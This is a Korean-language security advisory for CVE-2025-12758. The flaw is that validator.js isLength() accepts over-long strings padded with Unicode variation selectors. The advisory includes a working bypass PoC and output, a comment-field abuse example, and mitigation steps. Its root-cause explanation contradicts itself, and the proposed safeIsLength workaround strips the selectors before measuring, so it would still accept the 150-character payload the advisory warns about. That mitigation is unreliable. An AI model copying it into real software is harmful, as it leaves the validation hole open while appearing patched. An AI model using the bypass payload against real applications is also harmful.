
CVE-2025-12758에 대한 상세한 공개 내용과 validator.js의 isLength()에서 유니코드 변형 선택자를 우회하는 PoC를 포함하며, 근본 원인 분석, 익스플로잇 시나리오 및 완화 단계를 다룹니다.
CVE ID: CVE-2025-12758
CVSS Score: 8.7 (HIGH)
Severity: HIGH
CWE: CWE-792 (특수 요소의 하나 이상 인스턴스에 대한 불완전한 필터링)
Published: 2025년 11월 26일
Disclosed: 2025년 10월 19일
이 취약점은 validator npm 패키지 버전 < 13.15.22에 영향을 미칩니다. isLength() 함수가 문자열 길이를 계산할 때 유니코드 변형 선택기(\uFE0F, \uFE0E)를 고려하지 않아 잘못된 입력 검증이 발생합니다.
isLength()를 입력 검증에 사용하는 애플리케이션은 의도보다 훨씬 긴 문자열을 허용하여 다음과 같은 결과를 초래할 수 있습니다:
isLength() 함수는 문자열 길이를 계산할 때 유니코드 변형 선택기를 적절히 필터링하지 않습니다. 이러한 특수 문자(결합 표시)는 문자열의 시각적 길이에 기여해서는 안 되지만 JavaScript의 String.length 속성에서는 계산됩니다.
npm install [email protected]
node poc.js
PoC는 isLength() 함수를 테스트하여 취약점을 보여줍니다:
const validator = require('validator');
// 일반 "test" 문자열 - 올바르게 거부됨
console.log(`Is "test" (String.length: ${'test'.length}) length ≤ 3? ${validator.isLength('test', { max: 3 })}`);
// 출력: Is "test" (String.length: 4) length ≤ 3? false
// 일반 "test" 문자열 - 올바르게 허용됨
console.log(`Is "test" (String.length: ${'test'.length}) length ≤ 4? ${validator.isLength('test', { max: 4 })}`);
// 출력: Is "test" (String.length: 4) length ≤ 4? true
// "test"에 변형 선택기 4개 추가 - 잘못 허용됨
console.log(`Is "test️️️️" (String.length: ${'test\uFE0F\uFE0F\uFE0F\uFE0F'.length}) length ≤ 4? ${validator.isLength('test\uFE0F\uFE0F\uFE0F\uFE0F', { max: 4 })}`);
// 출력: Is "test️️️️" (String.length: 8) length ≤ 4? true ⚠️ 취약!
Is "test" (String.length: 4) length less than or equal to 3? false
Is "test" (String.length: 4) length less than or equal to 4? true
Is "test️️️️" (String.length: 8) length less than or equal to 4? true
세 번째 출력이 취약점을 보여줍니다: 실제 길이가 8인 문자열이 최대 길이 4에 대한 검증을 통과합니다.
애플리케이션이 사용자 댓글 검증을 구현할 수 있습니다:
const MAX_COMMENT_LENGTH = 100;
function validateComment(comment) {
return validator.isLength(comment, { max: MAX_COMMENT_LENGTH });
}
const maliciousInput = 'a'.repeat(50) + '\uFE0F'.repeat(100);
// 실제 길이: 150자
// validator.isLength()가 잘못 반환: true ❌
// 데이터베이스가 악성 페이로드를 수락 ⚠️
npm install [email protected]
패치된 버전은 유니코드 변형 선택기를 길이 계산에서 제외하여 적절히 처리합니다.
즉시 업그레이드할 수 없는 경우 사용자 정의 길이 검증을 구현합니다:
function safeIsLength(str, options = {}) {
// 검증 전 유니코드 변형 선택기 제거
const cleanStr = str.replace(/[\uFE0E\uFE0F]/g, '');
return validator.isLength(cleanStr, options);
}
애플리케이션이 취약한지 확인합니다:
npm audit --audit-level=high
validator 패키지 버전이 13.15.22 미만인지 확인합니다.
취약점 발견자: Karol Wrótniak
ISC